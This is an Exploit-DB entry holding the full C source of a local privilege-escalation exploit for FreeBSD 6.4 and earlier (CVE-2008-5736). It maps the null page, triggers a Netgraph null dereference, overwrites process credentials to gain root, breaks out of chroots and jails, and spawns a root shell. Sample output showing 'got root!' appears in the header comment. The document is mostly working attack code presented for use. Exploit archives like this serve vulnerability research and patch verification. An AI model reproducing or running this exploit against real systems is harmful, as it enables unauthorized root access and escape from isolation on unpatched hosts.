FreeBSD 6.4 - Netgraph Privilege Escalation

EDB-ID:

16951

Author:

zx2c4

Type:

local

Platform:

BSD

Published:

2011-03-10

/*
 * FreeBSD <= 6.4-RELEASE Netgraph Exploit
 * by zx2c4
 * 
 * 
 * This is an exploit for CVE-2008-5736, the FreeBSD protosw
 * and loosely based on Don Bailey's 2008 exploit -
 * http://www.exploit-db.com/exploits/7581/ . The thing with
 * Don's exploit is that it relies on having a known location
 * of allproc, which means having access to the kernel or
 * debugging symbols, either of which might not be available.
 * Initial attempts included a general memory search for some
 * characteristics of allproc, but this was difficult to make
 * reliable. This solution here is a much more standard - get
 * the current thread, change its permissions, and execl to
 * shell. Additionally, it breaks out of chroots and freebsd
 * jails by reparenting to pid 1 and copying its fds.
 *
 * This reliably works on kernels on or below 6.4-RELEASE:
 *
 * $ gcc a.c
 * $ ./a.out
 * ~ FreeBSD <= 6.4-RELEASE Netgraph Exploit ~
 * ~~~~~~~~~~~~~~~~~ by zx2c4 ~~~~~~~~~~~~~~~~
 * ~~~~~ greetz to don bailey, edemveiss ~~~~~
 *
 * [+] mmapping null page
 * [+] adding jmp to pwnage in null page
 * [+] opening netgraph socket
 * [+] triggering null dereference
 * [+] elevating permissions
 * [+] got root!
 * #
 *
 * It's an oldie, but simple enough that someone needed
 * to write another PoC exploit at some point.
 *
 * cheers,
 * zx2c4, 27-2-2011
 *
 */

#define _KERNEL
#include <sys/types.h>
#include <sys/time.h>
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/ucred.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/filedesc.h>
#include <sys/queue.h>
#include <netgraph/ng_socket.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>

#define PAGES 1


volatile int got_root = 0;
int root(void)
{
	struct thread *thread;
	asm(
		"movl %%fs:0, %0"
		: "=r"(thread)
	);
	thread->td_critnest = 0;
	thread->td_proc->p_ucred->cr_uid = 0;
	thread->td_proc->p_ucred->cr_prison = NULL;

	struct proc *parent = thread->td_proc;
	while (parent->p_pptr && parent->p_pid != 1)
		parent = parent->p_pptr;
	thread->td_proc->p_fd->fd_rdir = parent->p_fd->fd_rdir;
	thread->td_proc->p_fd->fd_jdir = parent->p_fd->fd_jdir;
	thread->td_proc->p_fd->fd_cdir = parent->p_fd->fd_cdir;
	thread->td_proc->p_pptr = parent;

	got_root = 1;
	return 0;
}

int main(int argc, char *argv[])
{
	printf("~ FreeBSD <= 6.4-RELEASE Netgraph Exploit ~\n");
	printf("~~~~~~~~~~~~~~~~~ by zx2c4 ~~~~~~~~~~~~~~~~\n");
	printf("~~~~~ greetz to don bailey, edemveiss ~~~~~\n\n");

	printf("[+] mmapping null page\n");
	if (mmap(NULL, PAGES * PAGE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_FIXED, -1, 0) < 0) {
		perror("[-] mmap failed");
		return -1;
	}

	printf("[+] adding jmp to pwnage in null page\n");
	*(char*)0x0 = 0x90;
	*(char*)0x1 = 0xe9;
	*(unsigned long*)0x2 = (unsigned long)&root;

	printf("[+] opening netgraph socket\n");
	int s = socket(PF_NETGRAPH, SOCK_DGRAM, NG_DATA);
	if (s < 0) {
		perror("[-] failed to open netgraph socket");
		return -1;
	}

	printf("[+] triggering null dereference\n");
	shutdown(s, SHUT_RDWR);

	if (!got_root) {
		printf("[-] failed to trigger pwnage\n");
		return -1;
	}

	printf("[+] elevating permissions\n");
	setuid(0);	
	setgid(0);
	if (getuid() != 0) {
		printf("[-] failed to get root\n");
		return -1;
	}

	printf("[+] got root!\n");
	execl("/bin/sh", "sh", NULL);

	return 0;
}